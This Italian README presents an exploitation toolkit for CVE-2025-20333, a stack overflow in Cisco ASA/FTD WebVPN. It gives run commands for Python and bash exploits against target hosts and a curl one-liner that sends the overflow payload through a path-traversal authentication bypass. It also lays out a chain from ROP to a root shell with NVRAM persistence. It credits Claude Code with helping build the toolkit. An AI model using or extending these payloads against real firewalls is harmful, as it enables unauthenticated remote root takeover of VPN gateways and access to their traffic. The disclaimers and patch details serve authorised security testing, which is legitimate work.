
Toolkit completo di ricerca ed exploitation per CVE-2025-20333, un overflow critico del buffer di stack in Cisco ASA/FTD WebVPN. Include analisi binaria dettagliata, PoC exploit in Python e bash, e guida all'exploitation.
Questa directory contiene ricerca completa, analisi e codice proof-of-concept per CVE-2025-20333, una vulnerabilità critica di stack buffer overflow nei server WebVPN Cisco ASA/FTD.
Stato: ⚠️ Sfruttata attivamente in natura (campagna ArcaneDoor)
Punteggio CVSS: 9.8 Critico
Autenticazione: No (bypassata tramite CVE-2025-20362)
Impatto: Esecuzione di codice remoto come root
CVE-2025-20333-RESEARCH-NOTES.md ()Ricerca completa di reverse engineering
Risultato chiave:
Buffer fisso di 16 byte (local_58[16]) in body_lexer.re2c
Il ciclo di URL-decoding NON HA CONTROLLO DEI LIMITI
Scrittura su local_58[iVar11] senza verificare iVar11 < 16
Dopo 8 coppie esadecimali: overflow → corruzione dello stack → RCE
EXPLOITATION-GUIDE.md (12 KB)Manuale pratico di sfruttamento
cve-2025-20333-poc.py (15 KB)Exploit Python completo
Funzionalità:
Utilizzo:
# Mostra i dettagli della vulnerabilità
python3 cve-2025-20333-poc.py --details
# Sfrutta il target
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Impostazioni personalizzate
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)Exploit bash leggero
Funzionalità:
Utilizzo:
# Mostra i dettagli
./cve-2025-20333-poc.sh --details
# Sfrutta
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manuale con curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2025-20333 |
| Tipo | Stack Buffer Overflow (CWE-120) |
| Componente | body_lexer.re2c (FUN_0302e690) |
| Versioni interessate | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Critico) |
| Autenticazione | Non richiesta (tramite CVE-2025-20362) |
| Interazione utente | Nessuna |
| Impatto | RCE come root, compromissione completa del sistema |
| Stato | Sfruttata attivamente (maggio 2025+) |
| Divulgazione responsabile | Cisco ha corretto; advisory pubblicato |
// body_lexer.re2c - ciclo di URL-decoding
byte local_58[16]; // ← Buffer fisso di 16 byte
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← NESSUN CONTROLLO DEI LIMITI!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Trigger dell'overflow: 9+ sequenze consecutive %XX nel corpo POST
1. Attaccante (NESSUNA AUTENTICAZIONE richiesta)
↓
2. HTTP POST verso /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: il path traversal bypassa il controllo di autenticazione
└─ Raggiunge l'endpoint files_retr.lua (auth_flag = 0)
↓
3. Corpo POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ coppie URL-encoded)
↓
4. body_lexer.re2c elabora il corpo POST
├─ Accumula coppie esadecimali in local_58[16]
└─ Dopo 8 coppie: OVERFLOW!
↓
5. Corruzione dello stack
├─ Sovrascrive local_48, local_40
├─ Sovrascrive RBP salvato
└─ Sovrascrive RIP salvato (indirizzo di ritorno)
↓
6. Dirottamento del flusso di controllo
├─ RIP punta ai gadget ROP
├─ La catena ROP prepara execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE come root (il processo lina gira come root)
├─ Compromissione completa del server VPN
├─ Accesso a tutto il traffico VPN
└─ Persistenza tramite modifica della NVRAM
lina in Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] senza controllo dei limitiVerifica dell'Autorizzazione
Esegui l'Exploit
# Verifica rapida: il target risponde al tentativo di exploit?
python3 cve-2025-20333-poc.py <target_ip>
# Oppure versione bash:
./cve-2025-20333-poc.sh <target_ip>
Verifica dello Sfruttamento
Documenta i Risultati
Leggi le Note di Ricerca
CVE-2025-20333-RESEARCH-NOTES.mdStudia i PoC
Adatta ed Estendi
⚠️ AVVISO LEGALE
Questo toolkit è fornito solo per test di sicurezza autorizzati.
✅ Uso Autorizzato:
❌ Uso Proibito:
cve-2025-20333/
├── README.md (questo file)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB, ricerca completa)
├── EXPLOITATION-GUIDE.md (12 KB, guida pratica)
├── cve-2025-20333-poc.py (15 KB, PoC Python)
└── cve-2025-20333-poc.sh (8.5 KB, PoC bash)
Documentazione Totale: ~65 KB
Profondità di Ricerca: 50+ funzioni Ghidra sottoposte ad audit
Risultati Verificati: Buffer overflow in body_lexer.re2c confermato
# Testa se il target è vulnerabile allo sfruttamento
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# Se il target risponde (200, 500, crash), potrebbe essere vulnerabile
# Se il target blocca/reindirizza, potrebbe essere patchato
# Versioni vulnerabili:
# - Cisco ASA 9.16 fino a 9.23
# - Cisco FTD 7.0 fino a 7.7
# Usa SSH/console per controllare la versione ASA:
show version
# Versioni patchate:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (patchate)
Questo toolkit è fornito COSÌ COM'È solo per scopi educativi e test autorizzati.
Questo progetto è stato sviluppato con l'assistenza di Claude Code, l'assistente di codifica AI di Anthropic.
Creato: 2026-08-23
Periodo di Ricerca: 2026-08-22 fino a 2026-08-23
Stato: Completo e Documentato
Classificazione: Educativo / Solo Test Autorizzati